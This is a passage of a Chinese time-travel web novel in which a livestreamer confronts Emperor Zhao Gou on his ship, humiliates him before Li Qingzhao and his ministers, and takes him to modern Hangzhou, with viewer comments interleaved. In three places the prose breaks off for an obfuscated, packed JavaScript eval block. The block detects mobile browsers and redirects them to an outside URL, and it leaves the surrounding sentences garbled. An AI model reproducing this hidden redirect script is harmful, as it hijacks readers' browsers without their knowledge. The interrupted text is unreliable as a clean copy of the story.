可赵构狗急跳墙要让人拿下游夏,李清照只得忍气吞声,咽下口中的讥嘲之语,上前一步,挡在游夏身前:“官家容禀,我等都知官家仁德、英勇不凡,更曾孤身入金营,怎会是那等怯弱无能之辈,更不会行投降这等苟且之事。游娘子年纪尚轻,定是被民间的风言风语蒙蔽,才误会了官家,还望官家恕罪。何况官家若拿下游娘子,岂不让谣言愈演愈烈?” 她说得不卑不亢,言辞恳切,句句都像是在为赵构考虑,我们都知道官家您不会投降,您要是把游娘子抓了,在别人眼里不就是做贼心虚了吗? 李清照话里话外都在吹捧赵构,被吹捧的赵构本人却笑不出来。谁叫他是真心虚,谁让她是真是行了苟且之事的怯弱无能之辈。 若来的只有游夏,他还能不管不顾地将人拿下,偏偏她是跟着李清照来的。 李清照才名极盛,禁卫、侍从的嘴好堵,李清照的嘴他可堵不上,只要他敢堵,第二天李清照就能写一堆讽谏之作出来,保证句句不提他,但字字都在说他。 赵构闭了闭眼,半晌之后,挥退准备捉拿游夏的两名禁卫,也罢,她说她的,朕不认谁也不能非说朕写了。 “你一闺阁女子都能听闻此事,看来谣言在你的家乡已是闹得沸沸扬扬,”他咳嗽一声,仿佛不经意地随口一问,“就是不知你的家乡还有多少人信了这谣言?” “也没多少人,”游夏从李清照身后探出头,被易安居士维护的感觉让她飘飘欲仙,她心情极好,语气轻快地为赵构解惑,“大概是全宋朝人口的十几倍吧。” 她那无所畏惧的样子让关心则乱的李清照反应过来,游夏是未来之人,如果没有自保手段,怎敢轻易来到这里? 赵构见游夏非但不对他的宽容感恩戴德,反而胡言乱语来戏耍他,心中怒气更盛,他还未说话,一道男声突然响起。 “官家问话,哪容得你在此信口开河!”男子声如洪钟,脸上满是气愤之色,似是极为不满游夏那对皇帝不敬的模样,“就算是将全天下的人加在一起,怕也到不了你口中所说的十余倍!” 游夏循声望去,只见几名官员结伴而来,说话的男子走在最前面,他身形高大,一张长脸上蓄着短须,皮肤黝黑,看着像是个武将。 直播画面上适时出现这几人的姓名。 张俊、吕颐浩、赵鼎、范宗尹。 【张俊这名字怎么有点耳熟?】 【南宋中兴四将之一,在岳飞冤狱事件中出了大力,不过由于火力大部分都被秦桧吸走了,以至于骂张俊的人没那么多】 【秦桧:又不是我一个人干的!为毛只骂我!?】 【学到了下次一起骂】 【历史盲的我这四个人一个都不认识】 【我也不认识赵构的这些臣子,毕竟秦桧之“辉”太盛,只有他才能和赵构一起遗臭万年】 【不搜不知道,这四个人里有两个人都被秦桧整过,赵鼎被秦桧陷害,绝食而死,范宗尹被秦桧排挤出中央】[1] 【赵构的大臣是不是可以组一个秦桧受害者联盟了?】 游夏没听说过其他三人,但她知道张俊,他是岳飞墓前的四座跪像之一。她打量了张俊好一会,最后得出结论:长得就不像个好人。 - 张俊如今正是春风得意之时,此前他在明州击退金军,虽说最后明州还是陷落,但对于屡战屡败的宋军来说,一次小捷足够让大宋君臣欢喜。[2] 张俊借口拱卫官家从前线退下,今日刚追上御船,连日奔波他也不想着休整一二,得了李清照面见官家献金石的消息,便借题发挥,邀了赵鼎和范宗尹同他一起来恭贺官家,说到底就是想在赵构面前多露露脸。 时任御史中丞的赵鼎和参知政事范宗尹放灯放得正高兴,张俊相邀时,二人本不想前来,待明日议事时顺便恭贺官家便是,何必着急地夜间便去?这张俊自己想露脸,又不想叫人说嘴,便想拉着他们二人去。 但二人最终还是应下了邀约,原因很简单——他们怕赵构被张俊哄高兴了赐下厚赏。 近来各将领频频面圣,赵构每次都会赐下厚赏,范宗尹看在眼里急在心里,现在这种情况,不说勒紧裤腰带,也该能省则省,官家你怎么还不把钱当钱呢? 为此,范宗尹此前还私下里跟赵鼎商讨此事,让其向赵构进言,赵鼎本拟好了奏疏,可又听说赵构是因此前的兵变对将领们有所忌惮,便想以厚赏笼络军心,以防旧事重演,于是赵鼎和范宗尹便歇了进谏的心思。[3] 去岁将领苗傅和刘正彦因不满赵构信重宦官、赏罚不公发动兵变,迫得赵构禅位给三岁的皇子赵旉,尽管不出一月兵变便被平息,赵构顺利复位,但也使得他对武将的忌惮更深了。[4] 真让张俊去露了脸,他们又没在旁边劝阻,官家手一松,又赏下一堆东西怎么办? 范宗尹、赵鼎:不行,我得去看着点。 他们去御船的路上又碰上了正在岸边赏灯的宰相吕颐浩,四人顺势结伴同去面圣。 停驻在章安镇的日子里大臣须在各艘大船间奔走,滩涂湿滑泥泞,这些大臣不得不穿着草鞋奔走跋涉。 四人在滩涂上深一脚浅一脚地走着,海水泥沙灌进草鞋,沙砾扎脚不说,湿冷的寒意更从脚底直窜到天灵盖,御舟泊在深水处,为了方便大臣上船面圣,沿途被人铺上了稻杆,尽管如此,四人上船时的样子依然狼狈。 吕颐浩拧了把不慎落入水中的袍角,看着脚下那双破烂草鞋,同三人对视一眼,无奈苦笑:“草履便将为赤舄。” 范宗尹回头看了眼来时路,稻杆被他们踩得没到水下,一些断掉的稻杆东一根西一根地漂在海面上,他苦中作乐地同吕颐浩对对子:“稻稭聊以当沙堤。”[5] 贼老天,他们不该穿着朝服礼靴,踏着御道上朝吗?怎么现在只能把草鞋当礼靴,稻杆当御道了? 吕范赵张:是谁偷走了他们的好日子!? 四人整理好仪容才前来面圣,还没见到他们亲爱的官家,就听见一人正在“胡说八道”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352939|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大宋人口的十几倍,她还真敢说! 张俊出声呵斥,语气极冲,以为这样便能把那说谎不打草稿的小娘子吓住,却没想到游夏能比他还横。 只见年轻小娘子轻蔑地扫视他的全身,又是皱眉又是撇嘴,吐出一句:“你没见识呗,天底下你没见过的事多了去了,而且我说的又不是这个天下。” 游夏:感觉自己好mean。 她没有小觑古人的意思,但眼前之人可是张俊,那必须得阴阳几句。 张俊额角一跳,这还是第一次有人说他没见识,甚至还是个年纪轻轻的小娘子。 而且什么叫说的不是这个天下,难道还能有第二个天下不成? 张俊不语,向赵构递出一个询问的眼神:官家,这是哪里来的疯妇? 赵构闭眼,他也不知道啊! 游夏这番“疯言疯语”让船上的侍从和禁卫也怀疑起其言论的真实性,他们先前见赵构那跳脚的模样,心中的天平早已倾向游夏,认为乞哀书一事是真的,可现在却是犹豫了。 莫非这只是个疯子,胡乱攀咬官家? 众人疑心顿起,感受到周围人怀疑的目光,游夏也不管他们能不能接受,直截了当地说道:“我来自九百年后,史书上把你干的那些破事写得明明白白,我自然知道你干的那些事。” 此话一出,时间仿佛在这一刻静止。 游夏:真诚果然是最大的必杀技,一句话杀死了全场的声音。 众人茫然地眨了下眼睛,原来他们这一晚上都在听一个疯子讲话。 赵构心道自己是在船上呆太久、闲得慌,才会与这个脑子不清醒的平民女子说这么久的话,这人竟连来自九百年后这么荒谬的话都说得出口! 他正要命人将这满口胡言的女子待下去,又听她说道:“你们不信我,认为我能知道乞哀书是因为有人走漏了风声,但如果我还能说出一件今人不知而后人皆知的秘闻呢?” 张俊嗤笑:“既是今人不知,我等又怎知你说的是真是假?谁知你是不是随口胡编来诓我们?” “诶,这件事吧,你们不知真假,但你们官家肯定知道真假。”游夏故作犹豫,“就是不知道我说出来,他会不会不高兴?要不我还是单独跟他说吧。” “呵,你这奸细终于藏不住尾巴了。”张俊以为游夏图穷匕见,终于暴露出她的真实目的,“胡言乱语、故弄玄虚,就是为了趁机刺杀官家!” 很显然,赵构也是这样想的,他当然不会给游夏近身的机会。 被禁卫钳住双臂的游夏没有挣扎,无奈地叹了口气:“好吧,这是你们逼我的。” “我想着这是你的个人隐私,还是不要让那么多人知道,没办法,只能让大家伙都听听了……”游夏看向赵构,“赵构,你记住,是张俊不让我悄悄说的,待会你要是生气,就找他算账,可别找我。” 听着游夏的话,赵构竟有种莫名的恐慌,他甚至都没注意游夏竟直呼他的名讳,直觉告诉他要阻止游夏说下去,但他又打从心底觉得眼前这人要么是个疯子,要么是个奸细。 几番犹豫,阻止的话终究没有说出口。 而游夏接下来的话让他在往后数年都无比后悔此刻的犹豫,他就应该立刻让人捂了她的嘴把她拖下去! 只听游夏的声音如平地惊雷在众人耳边炸开:“你不举!” 她指名道姓:“赵构,你不举!!” 8. 第 8 章 【我以为当面要乞哀书已经够爽了,没想到还能更爽!】 【还有比当着大伙的面宣布赵构不举更爽的事吗?赵构还不能把这些人怎么着,不然就是心虚,简直太爽了!】 【哈哈哈哈赵构以后睡觉梦见这件事会不会辗转反侧,猛踢被子啊?】 【不是,赵构不举怎么之前还有儿子??】 【他不是天生不举的,据说是在宠幸宫妃时得了金军来袭的消息被吓萎的】[1] 【主播这里夸张了吧,赵构不是不举,吃了药还是能举的,就是没了生育能力而已】[2] 【吃药才能举怎么不算不举呢~~】 【赵构不举不是野史吗?怎么当成真的在演?】 【野史也不一定是假的嘛,而且赵构后宫还真的没人再怀过孕,总之我觉得很真!】 不管是几位大臣还是禁卫侍从,甚至就连李清照都被这消息惊得大脑空白了一瞬。偌大的御船一时间鸦雀无声,只能听见海浪翻涌撞得船一晃一晃的闷响。 游夏:一句话,让全船古人为我沉默! 官家……不举? 赵构明显感觉到数道隐晦而火热的目光齐齐落在他下身,似是想将他下身衣袍烫出个洞来,好叫他们知道那处是否真如游夏所言,是个不中用的东西。 他脸色涨红,一时之间不知道自己该作何反应,不知是不是他心虚的缘故,他总觉得此时不管做什么都会显得自己是在欲盖弥彰。 这等私隐之事,除了为他诊治的太医、心腹侍从和他自己,不该有第四个人知道! 眼前这女子怎会知晓?!难道果真如她所说,她是后世之人,而他不举之事,在后世人尽皆知?! 不,不可能,世上怎么会有这么荒谬的事情?! 赵构阴鸷的目光锁定在了他最亲近的侍从身上,除了太医,便只有这侍从知晓,是不是他泄露的? 看他死死盯着一名脸色煞白的侍从,游夏大声说道:“别到处看啦!没人泄密!” 没人泄密,那她是怎么知道的? 游夏没告诉他一些史料中记载过这件事,否则赵构免不得迁怒知情人:“只因自赵旉死后,你的后宫再无一人怀孕,所以后人推断你是被金人吓萎了。” 赵旉在苗刘之变时被拥立为皇帝,后赵构复位,又被立为太子,半年前赵旉病死,年仅三岁。 游夏语气揶揄:“不过看你的反应,咱们这是推断对了!” 原来只是推断,赵构收回落在侍从身上的目光,却又意识到游夏话中暴露的信息—— 未来,他竟再无子嗣! 一时间,赵构心如死灰,他本想着待日后命人去寻良医,或能治好他的隐疾,可游夏的话却打破了他的幻想。 那在未来,他的皇位传给了谁? 赵构丝毫没有意识到,他潜意识里已经将游夏当作了后世来客,竟对她的话深信不疑。 “妖言惑众!”张俊突然出声,“还不将这疯子堵了嘴拖下去!” 张俊的声音让赵构从破碎状态复原,是了,就算游夏说的都是真的,他也不能承认。 不管是不举,还是往后没有子嗣,都有损他的天子颜面,他绝对不能让其他人也认为这是真的。 他并未作声,默认了张俊的命令,同时向张俊抛出赞赏的目光,张俊心下一喜,面上更为严肃,命人快快将游夏带下去。 【主播主播,现在咋办】 【主播,你要不把禁卫的刀抢了,冲过去挟持赵构吧?】 眼看着游夏要被拖下去,观众纷纷出谋划策,不过他们只当这是演戏,多是在看热闹、开玩笑、出馊主意。 游夏:上一秒抢刀,下一秒我就嗝屁。 此时直播间内的观众已有六百余人,对新人来说,在线观看人数可以说是极为可观。 游夏看着满满的能量,思考着破局之法,准确地说是在思考用什么办法能让直播间的热度更上一层楼。 有系统保护,她不用担心安全问题,自然一门心思想着整活。 她是拿了工资,要努力直播帮系统挣能量的,当然得制造直播效果,吸引观众才行,否则这高薪她拿得不安心。 直到此刻,游夏才知道网上说的段子是真的——三千工资,我是皇帝,三万工资,我就是睡在公司也得给老板把工作干好! 何况系统给的五万啊! 游夏工作起来可太有动力了! 许是高薪激励的作用,游夏灵光一现,与系统沟通一番后,她站在甲板上,突然桀桀地笑起来:“我妖言惑众是吧?那我要施展妖法啦!” 此时恰巧刮起大风,游夏的头发乱作一团,糊在脸上,配上她诡异的笑声,竟让人有几分惊魂之感。 【我去,主播发疯了!】 【主播笑得好像个反派】 说时迟那时快,趁着众人都被自己突然阴笑发疯的样子惊住,游夏身手敏捷地冲向赵构,双手扣住赵构的肩膀就往地上一扑。 张俊一声“保护官家”卡在喉中还未出口,就看见了让他惊恐万分的一幕。 只见游夏身上冒出阵阵白光,那白光如有生命一般,自她的周身蔓延,顺着她扣着赵构肩膀的手逐渐覆盖赵构全身。 一切发生在电光火石之间,二人尚未重重摔在地上,便化作一团白光,消失不见。整个甲板上,再无二人的痕迹。 “官家!!”张俊崩溃大喊,在两人消失的地方来回踱步,船上之人皆面露惊疑,不可置信地看着这一幕,思及游夏方才所言,难道她真会妖法? “是你!是你把妖女带来的!你定是对官家有怨才带了妖女来害官家!”张俊指着李清照,“说!你们把官家藏哪了!?” 张俊越说越觉得这幕后主使就是李清照,她定是因赵明诚之死对官家有怨,又愤于官家一味南逃,有求和之意,这才寻了妖女来谋害官家! 他抽出长剑,直直走向李清照,他要将这谋害官家的主使就地处决! 吕颐浩当即阻止,伸手拦下他的手臂:“且慢!” 且不说李清照是不是谋害管家的主使,即便是,她也是目前唯一与那女子有联系之人,杀了她,他们到哪去寻官家? 因着吕颐浩这一声制止,张俊顿住,握着剑柄的手紧了又紧,这才收剑入鞘。 没人注意到在张俊靠近李清照时她周身泛起的水纹屏障,因为他们的注意力都被御船上突然出现的浮空画卷所吸引。 那画卷长约三米,高达两米,凭空浮现在舱室外璧上,周身还散发着淡淡白光,怎么看怎么诡异。 【突然多出来个幕布是什么意思?要给古人放电影?】 【我再也不预测直播间走向了,预测不了一点!】 【这素在??主播和赵构到底去哪了?】 是的,这凭空浮现的画卷正是现代的投影幕布,游夏也没想到自己兑换幕布不是为了看电影,而是为了给古人直播自己。 “系统,易安居士没事吧?”她在脑海中问道。 “已为李清照开启防护罩功能,李清照目前处于安全环境,宝子请放心。” “那就好。”得知李清照无碍,游夏心下一松,再看到身旁的赵构时,竟没刚才那么烦躁了。 这赵构真没个皇帝样儿,在时空隧道里穿梭的时候就一直在她的耳边吱哇乱叫,好不容易抵达现代,脚踩到实地上,竟还跌坐在地上大叫,叫得游夏格外烦心。 游夏心说还好他们降落在一个人少的地儿,否则被别人听见,说不定还要报警呢。 赵构:换你被妖怪抓了,你也是这个反应。 赵构叫得忘我,浑然不知自己这副样子已被御船上的众人尽收眼底。张俊木着脸地看着画卷中的赵构,甚至有了捂耳朵的冲动。 游夏和赵构刚一出现在画卷中,张俊就认定这是囚禁赵构的法器,要用剑砍碎这画卷,将赵构救出。 可他一靠近画卷感受到一层无形的屏障将他推开,他只能眼睁睁地看着赵构一直在画卷中慌乱大叫。 见赵构大叫不止、生龙活虎,而游夏并没有要他性命的意思,画卷之外的吕颐浩等人的心暂时定了下来,站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352940|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁静观其变,甚至还分出心神研究起画卷上空漂浮的文字。 【这段演员演得有点夸张了,赵构好歹是个皇帝,不至于这么怂】 【类比一下,赵构现在的状况就跟现代人突然被外星人绑架到外太空,没被吓晕已经算是体面了吧】 【姓赵的皇帝不都怂吗?不然大宋怎么叫大怂?】 【一个小直播,就当看个乐呵,赵构叫成这样难道不好笑吗哈哈哈】 这、这些文字是何人所写? 他们虽不明白何为外星人、直播,但他们还是看得出来这些文字中对大宋和官家的贬低,官家被掳走,这些人也只是当个乐子看。 联系到游夏道明的来历,范宗尹与赵鼎耳语道:“这些文字定是九百年后的人写下的。” 赵鼎没有轻易下定论,他眼神未从弹幕上挪开:“范相公竟已全然信了那女子的话?” 赵鼎比范宗尹年长十余岁,为人稳重,尽管今夜发生之事这般离奇,他也不愿轻易相信那些荒谬之言。 范宗尹没与他争辩,心道都到了这种地步,赵中丞竟还固执己见。官家不举之事连他们这样的重臣都不知晓,可那女子却一清二楚,且看官家那反应,此事九成九是真的,如今又在众目睽睽之下将官家带走,甚至还用出了这画卷仙术,若她不是自九百年后而来,那只能是妖魔精怪了。 - “行了,别叫了。”游夏揉揉耳朵,“你不是不信我是九百年后的人吗?我就带你来九百年后看看,你怕什么啊?” 九百年后?赵构止住叫声,打量起四周。四周树林茂密,光线昏暗,隐有乐声与亮光自远处传来。 “九百年后?那朕怎没见着有人?”赵构对游夏所说的九百年后仍有怀疑。 游夏可是在瞬息之间便将他从御船带到此处,赵构对来时那长长的、泛着光芒的隧道印象深刻,那显然不是常人能够做到的。 总不能说九百年后的人都会法术吧?那自秦朝始,至他们大宋已有千年,也没见谁会法术,就连他沉迷修道的父亲道君皇帝不也与常人无异? “这路灯坏了还没修好,谁晚上散步会来这么黑的地方?”游夏抬头看路灯,确定它是坏了,又低头瞧手表,时针指着7,正是夏天夜晚最热闹的时候,她指向远处有亮光的地方,“你跟我往那边走就有人了。” 说着,她便自顾自地朝那边走去,也不管赵构有没有跟上来。赵构坐在地上,想了又想,起身跟了上去,他在这儿人生地不熟,不如跟着游夏走,也好一探究竟。 游夏扭头看了眼跟在身后的赵构,心中遗憾不能带李清照一起来,谁让系统说最多只能带一个人穿梭时空呢?好在她兑换了幕布,能让李清照他们一起看看后世的模样。 是了,带赵构来现代就是游夏想到的让直播间热度更上一层楼的办法。 【今穿古和古穿今的剧情居然同时出现在一个直播间,大制作啊这是】 【这场景转变得也太丝滑了,简直让人叹为观止】 【这真的不是录播吗?太厉害了!】 【感觉不是实景拍摄,应该是AI生成场景吧,生成得这么真实,这技术有够牛的,好奇主播到底是哪个公司的,这么有实力】 如果是录播,那场景转变这么快就能说得通,如果是直播,那就只能是AI生成场景,不可能是实景拍摄,谁能在眨眼之间从海上跑到城市公园? 游夏没有回答他们的问题,这事解释起来太复杂,就让观众朋友们猜吧。 她也完全不担心以后会不会在路上偶遇观众被追着问,系统可是跟她说了,直播间的观众来自A时空,她和赵构现在所处的是B时空,而游夏自己来自C时空,偶遇观众这件事,根本不会发生。 这也是游夏愿意和系统签合同的原因之一,她不想出名,也不想被观众认出来,更不想面临旁人对直播间技术的询问,她太怕麻烦了。 游夏越想越觉得自己这份工作的待遇极好,要让直播间热度节节高的奋斗之心熊熊燃烧。 游夏:系统老板,我会好好干的! 9. 第 9 章 赵构亦步亦趋地跟在游夏身后,先前四周昏暗,他险些摔跤,可不知从何时开始,周围便亮堂起来。 赵构望向光源处,光来自路边的一根柱子,柱身顶端散发着亮白色的光芒,可那处却并没有火焰。 见赵构抬头看路灯,游夏就介绍道:“这是路灯,上面那是灯泡。” 他正想询问游夏这灯如何做到无火自明的,就被那泛着冷光的灯柱所吸引。 “这、这可是精钢所制?”赵构问出这话后便觉好笑,这世上怎会有人不拿精铁去造兵器反而拿来做灯柱? “不锈钢做的,”想到赵构可能理解不了什么是不锈钢,她随口补上一句,“就是钢铁做的。” 得了游夏肯定的答复,不只是赵构,就连正在画卷前的张俊等人也为之一惊。 九百年后的人竟拿钢铁来做灯具? 张俊嗤笑一声:“诸位请看,此物露天而建,风吹日晒,若是精钢所制,怎会没有锈迹?可见这妖女在撒谎!” 没错,他们平日都会保养兵器,以油擦拭防止生锈,就算如此,也不能使之完全不生锈,若这灯柱真是精钢所制,像这样毫无遮掩地露天而立定会生锈才是! 赵构显然也想到这点,他摸上冰凉光滑的灯柱表面,绕着它转了一周,一丝锈迹也没有找到,他自觉找到游夏话中的漏洞,迫不及待地质问反驳。 “这是不锈钢做的,我要怎么跟你解释这个不锈钢呢?”游夏无奈地叹了口气,她抠着脑袋,加重语气,“就是、不锈、钢!” 不锈……钢? 不会生锈的钢铁?这怎么可能? 画卷那端,张俊的目光一变,如果这人口中的不锈钢是真的,那用不锈钢来造兵器…… 就是不知道不锈钢除了不锈外,与他们大宋精钢还有没有不同之处。张俊目露遗憾,若是他能上手摸摸那灯柱就好了,便能知道不锈钢适不适合做兵器。 “朕不信,若真有不会生锈的钢铁,你们怎会暴殄天物,将这拿来做灯具?”赵构仍是不信。正在畅想不锈钢兵器的张俊冷静下来,官家说得对,不可能会有人拿钢做灯具。 如果是别人这么问,游夏会好声好气地解释这是科技发展带来的好处,但对着赵构她很难有好脸色和耐心去解释,更别说赵构还总质问她,张口就是朕不信朕不信,烦都烦死了。 游夏扬了扬下巴,示意赵构往前看,道路前方灯火通明:“看到没?这条路上还有好几根这样的灯柱,这座公园里的灯柱加起来怕是有个百十来根吧。” 言外之意就是这不锈钢他们多得是,算不得什么珍惜之物。 说罢游夏自己都觉得她有种狐假虎威、小人得志的样子,不锈钢不是她造的,灯柱不是她立的,她怎么就高傲上了? 赵构一心想着不锈钢,都不在意她那傲慢模样,只依言看去,果不其然,前方十米远的地方又有一根一模一样的路灯,他不信邪地沿着蜿蜒道路快步走去,一路瞧遍经过的每一根灯柱,如游夏所言,每一根灯柱都是不锈钢制成的。 “竟是真的……”赵构转身,欲问游夏不锈钢是如何炼成的,可他走得太快,游夏已不在他的视野里。沉浸在世上竟有不锈之钢震撼中的赵构这才发现,他竟然不知不觉走到人声鼎沸之处。 他茫然地环顾四周,入目是一片巨大的湖泊,路灯发出的暖黄灯光倒映在湖面上,水波荡漾,波光粼粼。湖中央矗立着一座长桥,赵构不知今人是如何做到的,那桥身竟能发光。 环湖而建的路面平坦非常,树木葱翠,此时正是夏天,来往路人皆衣着清凉,衣裳裤子能短则短,手上要么摇着扇子,要么拿着电动小风扇吹。 好一个光怪陆离的世界。 大宋正是正月,寒冷非常,赵构穿的是御寒的长袍大氅,突然到此,看到这些露胳膊露腿的人,才发现自己早已出了一身汗。 这、这些人怎得这般不知羞?这儿又不是自家后院,怎能穿得这么…… 赵构一时间找不到形容词,他再随便一扫,更加震惊,女子倒还好些,尚着蔽体衣物,有两名男子似是被热得不行,把上衣一脱,打着赤膊在人群中穿梭,瞧他们面色坦然,好似众目睽睽之下袒胸露乳是什么光荣的事。 赵构站在原地,周围来来往往的行人没有一人是他熟悉的面孔,没有一人穿着熟悉的衣衫,举目无亲的茫然夹杂着对陌生世界的恐惧使得他急需一个宣泄情绪的出口,恰好在此时,那两个脱了衣服、挺着啤酒肚的男子从他身旁经过,赵构忽地怒声斥道:“此乃闹市,赤身裸/体成何体统!” 【震惊!赵构竟然说人话了!】 【这波我站赵构!公共场合,成何体统!】 【家人们,让我们向赵构学习,以后遇到这种公共场所伤咱们眼睛的人,上去就是一句成何体统好吗?】 【我将封赵构为市容文明大使!】 【诶,这儿不是西湖吗?我现在就在这,咋没看见主播呢?】 【说明这段确实不是实景直播,要么录播,要么AI生成场景】 游夏刚追上来就瞧见这一幕,同样纳罕,赵构居然干人事了,乐呵呵地看起这出封建皇帝大战露肚男的好戏。 “关你屁事,”大肚男打量着赵构,不多时就下了结论,这是一个年轻的古风白斩鸡,“大热天穿这么厚,你脑子怕是有问题。” “哪来的神经病?穿得跟唱戏的似的,管得还挺宽。”另一名赤膊男子帮腔道。 这人竟把他比作唱戏的? 赵构生在皇家,后来更是成了生杀予夺的皇帝,从没有人敢如此对他说话,他气得脸色涨红,一甩衣袖,指着对方鼻子:“朕乃大宋天子,你竟敢以下犯上……” “还天子,我还是老子!”男子被赵构那高高在上的模样激得火大,有心给赵构一些教训,却见一个女生凑上前来,举着手机录视频,还有不少人被他们的争吵声所吸引,正围着他们看,一时间不好发作。 游夏举着手机,在赵构周围晃了一圈,正怒气上头的赵构一时间忘了自己现在是在九百年后,见这唯一知道自己身份的女子拿着个木片一样的东西围着自己转,心头那股火烧得更旺:“你在干什么?还不快告诉这些人朕是谁!” 游夏:你没事吧?当你是我老板吗? 游夏虽不爽赵构那颐指气使的态度,但赵构现在是在正义执法,自己当然得帮腔,她眼珠一转,立刻竖起眉,对着那几个男人严肃说道:“知道这是哪儿吗?” “这是西湖!杭州!南宋的都城!”游夏努力让自己不要笑场,“这位可是南宋的开国皇帝,大名鼎鼎的宋高宗赵构,你说他有没有资格管你们?” 赵构本扬着鼻孔,傲然而立,等着这群人跪地高呼万岁,听见游夏介绍他时,他才反应过来,这里不是他的大宋。 什么杭州?什么南宋? 赵构:每个字朕都听得懂,怎么组合到一起朕就听不懂了呢? “你们是在拍短视频吗?”听到这里,围观的路人好奇问道。 虽然很多人都看不惯公共场合袒胸露乳的家伙,但大多不会像赵构这样贴脸开大,加之赵构穿着一身古装,又声称自己是皇帝,便觉得是碰上拍短视频的。 最近网上不就有一些制裁吸游烟、公共场合吸烟的博主吗?眼前这两人应该是来制裁公共场合不穿衣服的。 “对对。”游夏打着哈哈。 “就该整治一下这些不穿衣服的男的!”有人称赞道,“大夏天的本来就烦,出门散步还要被辣眼睛!” 这话得了好些人的附和,见周围的人越来越多,又看游夏录着视频,担心自己真被发到网上去,那两个不穿衣服的男子一改刚才天不怕地不怕的样子,甩下一句“神经病”就灰溜溜地离开。 “就这么让他们跑了?”赵构不忿,这些人应该当着他的面穿好衣服,再连声告罪才是! 游夏心说得亏这儿人多,不然你就等着挨揍吧。 要不是赵构这回干的是好事,加上她也怕真动了手,他们两个黑户一起进公安局,到时候不好收场,她还是很想看赵构被打一顿的。 “你们这创意挺不错的,”有位手上拿着练功扇、烫着时髦卷发的阿姨来搭话,“就是选的皇帝不好,可不兴扮赵构。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352941|199632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我也觉着扮他不太好,”游夏附和,“那阿姨您给点建议,您说扮南宋的哪个皇帝比较好?” 赵构这会儿也冷静下来,他看出游夏没有要他命的意思,既是性命无忧,那来到九百年后对他来说便是一场机缘,听见那一头卷曲黄发的女子话里行间对他的贬低,他也默默忍下,试图探出更多消息。 “一定得是南宋的皇帝吗?”阿姨显然对南宋历史不陌生,“感觉扮哪个都不太成。” “咱们毕竟是在杭州嘛,扮南宋皇帝比较好。” 杭州古称临安,是南宋的首都。 阿姨一想,确实如此,她思前想后,把南宋的几个皇帝在脑子里过了好几遍,最后才勉强选出一个:“实在不行,孝宗吧。好歹给岳将军平反了,还支持北伐。除了孝宗,其他的……哎,不提也罢。” “但是不管是哪个都比赵构好,又是写降书,又是杀岳将军,扮他多晦气?”阿姨的朋友们催她快走,她们赶着去跳舞,阿姨丢下这么句话就走,最后又夸了他们一句,“形式都是其次的,重要的是你们这种制止不穿衣服上街的行为,我举双手双脚支持!” - “嘶——” 听到画卷中的中年妇人毫不客气地评价南宋众皇帝为“不提也罢”,众人不约而同地在心底倒吸一口冷气。 这些皇帝得是什么样子才会得到这样的评价? 赵鼎等人想得则更多,随便碰上的妇人都能对一朝皇帝了如指掌、肆意点评,九百年后到底是一个什么样的朝代? 还有,岳将军是谁?为什么杀岳将军会和给金人写乞哀书相提并论? 他们军中有姓岳的大将吗? “范相公和张相公可有头绪?”赵鼎想不出来姓岳的大将,问起身旁三位同僚。 张俊皱眉,明显一丝头绪也无,身为武将的张俊都不知道,更不用说吕颐浩和范宗尹了。 范宗尹摇头,随后道:“赵中丞不是说不可轻信这画卷中的话吗?怎得现在又问起岳将军?” 赵鼎泰然自若,负手而立:“若是看到这里我还不肯相信,那我岂不成了老顽固?” 范宗尹闻言,自愧弗如,换做是他,只怕还要再嘴硬一会。 - “听着没?”游夏跟阿姨挥手告别,漫不经心地对赵构说道,“我可没骗你,我们这儿就是随便一个人都知道你写乞哀书的事。” 路边随便一个妇人都知道朕写了乞哀书! 赵构此时根本没空关心什么岳将军,他心下惶然,九百年后的人都知道他曾写过乞哀书,而游夏和那妇人提起他时眉眼间皆无敬意,他不是瞎子,更不是傻子,自然能想到自己在史书上的名声恐怕不怎么好听。 任谁知道自己遗臭万年都不会好受,赵构失魂落魄,看着很是可怜,但不管是游夏还是直播间的观众都不会对他有一丝同情。 自证了自己所言非虚,游夏道:“行了,跟我去个没人的角落,我送你回去。” 一想到要送赵构回去霍霍大宋,游夏觉得自己简直是在犯罪,可这是系统的规定,不能让其他时空的人长时间滞留在这里,她必须得遵守。 最重要的是赵构在这里呆的每分每秒,花的都是她的能量啊! “且慢!”赵构一听要送他回去,忙不迭道,“游娘子,可否让朕……我在此间多待上一段时间。我欲于此间拜师求学,学不锈钢锻造之法以强军,好早日收复失地,恢复中原。若游娘子答应,必以重金谢之。” 赵构有求于人,这会儿也不端着皇帝架子,语气中竟带了些恳求。 